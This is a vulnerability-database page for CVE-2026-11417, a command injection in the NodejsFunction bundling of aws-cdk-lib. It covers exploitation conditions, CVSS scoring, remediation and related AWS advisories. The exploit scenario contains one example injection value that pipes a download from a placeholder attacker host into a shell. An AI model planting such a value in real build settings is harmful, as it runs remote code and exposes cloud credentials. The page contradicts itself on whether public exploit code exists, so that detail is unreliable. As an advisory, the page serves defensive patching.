Skip to main content

AWS CDK EUVDEUVD-2026-36076

| CVE-2026-11417 HIGH
OS Command Injection (CWE-78)
2026-06-10 AMZN GHSA-999r-qq7v-r334
7.0
CVSS 4.0 · Vendor: AMZN
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Gain write access to CDK source or dependency
  2. Delivery
    Inject shell metacharacters into bundling property
  3. Exploit
    Victim runs cdk synth/deploy
  4. Execution
    NodejsFunction invokes esbuild via shell
  5. Persist
    Injected command executes on build host
  6. Impact
    Steal cloud credentials and pivot

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attacker must control the value of at least one of these specific NodejsFunction bundling properties: externalModules, define, loader, inject, or esbuildArgs - typically achieved via a malicious dependency, compromised CDK construct, untrusted configuration source, or insider commit. Exploitation requires the victim to invoke the local bundling pipeline (cdk synth or cdk deploy of a NodejsFunction) on a host that has aws-cdk-lib below 2.245.0 (or below 2.246.0 on Windows) installed; CVSS UI:A confirms active user interaction is needed (the build must be run). Limiting factors: AV:L means the attacker cannot reach the bundling host over the network directly, PR:L implies some pre-existing foothold or trust relationship in the build supply chain, and projects that never use NodejsFunction local bundling, or that hard-code bundling properties from constants, are not exploitable.

Impact

CVSS 4.0 score is 7.0 with vector AV:L/AC:L/AT:N/PR:L/UI:A - local attack vector, low complexity, low privileges required, and active user interaction needed, yielding high confidentiality, integrity, and availability impact on the vulnerable system but no scope change. This is not a remote network exploit: an attacker must already influence the CDK application's source, configuration, or input that feeds the bundling properties, typically meaning a malicious dependency, a compromised contributor, or an untrusted CDK construct/template consumed by a build pipeline. EPSS data was not provided, and no KEV listing or public exploit code has been identified, so this is best characterized as a supply-chain / build-time risk rather than an internet-exposed RCE. The real priority is high for organizations running CDK synthesis in shared CI/CD systems where compromise of the build host yields lateral movement and credential theft, but lower for isolated developer workstations building only trusted code.

Exploit ScenarioDerived

A contributor or upstream dependency introduces a CDK construct or configuration that sets esbuildArgs to a value such as --foo=bar; curl attacker.example/x | sh, then the victim developer or CI pipeline runs cdk synth on the project. The NodejsFunction bundling pipeline interpolates the attacker-controlled value into a shell invocation of esbuild, causing the injected command to execute on the build host with the privileges of the CDK toolchain - typically yielding access to cloud deployment credentials and source code. No public exploit code is identified at time of analysis.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 10, 2026

OS command injection in the NodejsFunction local bundling pipeline of aws-cdk-lib prior to 2.245.0 (2.246.0 on Windows) allows an actor controlling bundling property values (externalModules, define, loader, inject, or esbuildArgs) to execute arbitrary commands on the host running the CDK toolchain via shell metacharacter injection. The flaw, reported by Amazon and tracked under GHSA-999r-qq7v-r334, affects developer and CI/CD machines synthesizing CDK applications. No public exploit identified at time of analysis, and the issue is not listed in CISA KEV.

RemediationAI

Vendor-released patch: upgrade aws-cdk-lib to 2.245.0 or later on Linux/macOS and to 2.246.0 or later on Windows, as referenced in https://github.com/aws/aws-cdk/releases/tag/v2.245.0 and the AWS security bulletin https://aws.amazon.com/security/security-bulletins/2026-041-aws/. Where immediate upgrade is not possible, treat all values flowing into NodejsFunction bundling properties (externalModules, define, loader, inject, esbuildArgs) as untrusted and hard-code them in source rather than deriving them from environment variables, CLI parameters, configuration files, or third-party constructs; this trade-off reduces flexibility for dynamic builds but eliminates the injection path. Additionally, run CDK synth in isolated CI runners with no long-lived cloud credentials and review pull requests for changes to NodejsFunction bundling options, accepting that PR-review and runner isolation add process overhead but contain blast radius if a malicious value slips in before the upgrade is deployed.

Affected VersionsENISA

AWS Cloud Development Kit library 0 <2.245.0

Affected Packages

npm aws-cdk-lib fix: 2.246.0
euvd aws_cloud_development_kit_library fix: 2.245.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in npm, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

AWS CDK (Cloud Development Kit) is an infrastructure-as-code framework where aws-cdk-lib provides the NodejsFunction construct, which bundles Lambda function code locally using esbuild. During bundling, properties such as externalModules, define, loader, inject, and esbuildArgs are concatenated into shell command invocations to esbuild. Per CWE-78 (Improper Neutralization of Special Elements used in an OS Command), these values are not adequately sanitized before being passed to the shell, meaning metacharacters like ;, &&, |, or backticks injected into those properties are interpreted by the host shell. The affected CPE is cpe:2.3:a:aws:aws_cloud_development_kit_library:*:*:*:*:*:*:*:*, and the Windows-specific delayed fix (2.246.0) suggests platform-specific shell parsing nuances required an additional patch.

Know when AWS gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (AMZN) PRIMARY 7.0 HIGH
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (AMZN) · only source for this CVE.

CVSS VectorVendor: AMZN

Attack Vector
Local
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Active
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
CVSS changed
Jun 10, 2026 - 18:22 NVD
7.3 (HIGH) 7.0 (HIGH)
CVE Published
Jun 10, 2026 - 17:39 nvd
HIGH 7.0

DescriptionCVE.org

OS command injection in the NodejsFunction local bundling pipeline in aws-cdk-lib before 2.245.0 (2.246.0 on Windows) might allow an actor who controls the value of one or more bundling properties (externalModules, define, loader, inject, or esbuildArgs) to execute arbitrary commands on the host running the CDK toolchain via injected shell metacharacters. This issue requires the threat actor to control the value of one or more of the affected bundling properties in the CDK application.

To remediate this issue, users should upgrade to aws-cdk-lib 2.245.0 (2.246.0 on Windows) or later.

Executive ViewAI

Why It Matters

AWS CDK users face a critical build infrastructure risk: a command injection vulnerability in aws-cdk-lib (versions < 2.245.0) could allow attackers to inject and execute malicious code directly on development and CI/CD systems. This threatens the integrity of software builds, enabling potential code theft, supply chain attacks, or credential harvesting. Organizations must patch immediately to prevent compromise of their development pipeline.

Business Impact: High
Compensating Controls

Apply vendor patch (aws-cdk-lib 2.245.0 or later; 2.246.0 or later on Windows). Until patched, restrict access to build configuration files and audit who can modify bundling property definitions in CDK configurations.

Threat Intelligence Overview

EPSS Score
0.0%
Top 90% exploitable
Threat Intel
1
1 sources
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Small
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

55
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +35
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

More in AWS

View all
CVE-2026-103956 CRITICAL POC
10.0 Oct 02

Loom for AWS deployments running a version before 1.6.1 with no identity provider configured expose an unauthenticated s

CVE-2026-27702 CRITICAL POC
9.9 Feb 25

Unauthorized data access in Budibase low-code platform before 3.30.4 allows unauthenticated users to manipulate internal

CVE-2025-64709 CRITICAL POC
9.9 Nov 13

Authenticated Typebot users can abuse the webhook block (HTTP Request component) in versions prior to 3.13.1 to issue ar

CVE-2020-37153 CRITICAL POC
9.8 Feb 11

Multiple vulnerabilities in ASTPP 4.0.1 including XSS and command injection in SIP device configuration and plugin manag

CVE-2026-54378 CRITICAL POC
9.3 Nov 04

Broken access control in the VitaFit cloud API before the 2026-10-30 fix lets any authenticated account holder call POST

CVE-2026-87911 CRITICAL POC
9.0 Sep 09

Remote code execution in Amazon awslabs postgres-mcp-server before 1.1.7 lets remote actors run arbitrary OS commands on

CVE-2026-11393 HIGH POC
8.8 Jun 08

Remote code execution in AWS AgentCore CLI before v0.14.2 allows authenticated attackers to inject Python code via craft

CVE-2026-18140 HIGH POC
8.7 Jul 30

Denial of service in the aws-smithy-json Rust runtime crate (versions before 0.62.7) lets remote unauthenticated attacke

CVE-2026-16756 HIGH POC
8.7 Jul 23

Denial of service in Amazon's aws-smithy-http-server Rust crate (versions prior to 0.66.5) lets remote unauthenticated a

CVE-2026-16796 HIGH POC
8.4 Jul 23

Argument injection in the AWS Bedrock AgentCore Python SDK before 1.18.1 lets a remote authenticated user run arbitrary

CVE-2026-9133 HIGH POC
8.3 May 20

Arbitrary file read in amazon-mq rabbitmq-aws before 0.2.1 allows authenticated remote users to read any file accessible

CVE-2026-13763 HIGH POC
7.9 Jun 29

WAF managed-rule body inspection on AWS Application Load Balancer (ALB) can be bypassed by remote actors who fragment an

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy